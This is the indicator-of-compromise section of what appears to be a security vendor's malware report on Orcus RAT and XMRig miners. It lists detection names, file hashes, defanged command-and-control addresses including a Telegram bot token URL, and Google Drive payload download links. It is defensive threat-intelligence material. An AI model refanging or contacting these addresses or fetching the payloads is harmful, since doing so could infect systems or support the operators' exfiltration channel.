- Downloader/Win.Agent.R547968 (2023.01.02.02)
- CoinMiner/Win.XMRig.R547974 (2023.01.02.02)
- Trojan/Win.Injection.C5347028 (2023.01.01.00)
- Backdoor/Win.Orcusrat.C5347952 (2023.01.02.02)
- CoinMiner/Win.XMRig.C5347951 (2023.01.02.02)

Behavior Detection

- Injection/MDP.Hollowing.M4180

IOC

MD5

- 516a2bde694b31735c52e013d65de48d : Downloader #1 (software_reporter_tool.exe)

- 6a1fc56b4ce8a62f1ebe25bf7bbe2dbd : Downloader #2 (software_reporter_tool.exe)
- 74bdc2a8d48a6a4833aac4832e38c3b9 : Task Scheduler (.xml)
- ccf2d6c69a4e016cd19fa4ee7bc341ec : Task Scheduler (.xml)
- 7303e2f671f86909527d8514e1f1f171 : XMRig (software_reporter_tool.exe)
- 9c11f58ed5e7b2806042bc9029a5cca8 : Orcus RAT (software_reporter_tool.exe)
- d3c271624e23c125b77dd774ffa4af5d : Trojan (dwm.exe)
- bd1301fb0bd0f7d2e75f090894423be0 : XMRig (InstallUtil.exe)

C&C

- hxxps://api.telegram[.]org/bot5538205016:AAH7S9IGtFpb6RbC8W2TfNkjD7Cj_3qxCnl/sendMessage : Downloader #1
- minecraftrpgserver[.]com:27036 : Orcus RAT
- xmr.2miners[.]com:12222 : XMRig Mining Pool
- minecraftrpgserver[.]com:80 : Trojan

Download URL

- hxxps://docs.google[.]com/uc?export=download&id=1GWm1TFpqTxungXVH0vlktkat5HilyBOJ
- hxxps://docs.google[.]com/uc?export=download&id=1FgV6vUZZX3XkERFIXDpKQHoo8qYL9r4z
- hxxps://docs.google[.]com/uc?export=download&id=1T3Kp_aH5-D8F5OS1qv40IPIUXoz3orh4
- hxxps://docs.google[.]com/uc?export=download&id=1N75CXe7da3gN7DW2eM4X0w1Rb9XJr7Mx
- hxxps://docs.google[.]com/uc?export=download&id=1qz1trnHId7cJZsjDnN0r7nSjaLbhw4sN
- hxxps://docs.google[.]com/uc?export=download&id=1TgGYGUuCp2MC31UKtaOrlEDOlqbvYArO
- hxxps://docs.google[.]com/uc?export=download&id=1kNCUUyEMYVhfp2rypg-3COmlrnAjBeyd
- hxxps://docs.google[.]com/uc?export=download&id=1VgEmuFjDFKXL-zVaaO903BHdoJN3Jr8M
- hxxps://docs.google[.]com/uc?export=download&id=1l4cygNMQxj-oyPPPFq65x1ALk9duhd7D
- hxxps://docs.google[.]com/uc?export=download&id=1bPnNN92VXIoGEWI-AAiYq_KAjqZA9Boe
- hxxps://docs.google[.]com/uc?export=download&id=1DkEj9fNfDssSj0qNhpQUn1U-bHogDRrv
- hxxps://docs.google[.]com/uc?export=download&id=1-B3960J-kcD v9PaVP0gYyGpZVWDTHOw
- hxxps://docs.google[.]com/uc?export=download&id=11oXcLJflmBUXZAycZ3mbTigNctbmox0b

Subscribe to AhnLab's next-generation threat intelligence platform 'AhnLab TIP' to check related IOC and detailed analysis information.

Categories: Malware Information

Tagged as: CoinMiner, Hangul, Orcus, OrcusRAT, rat, webhard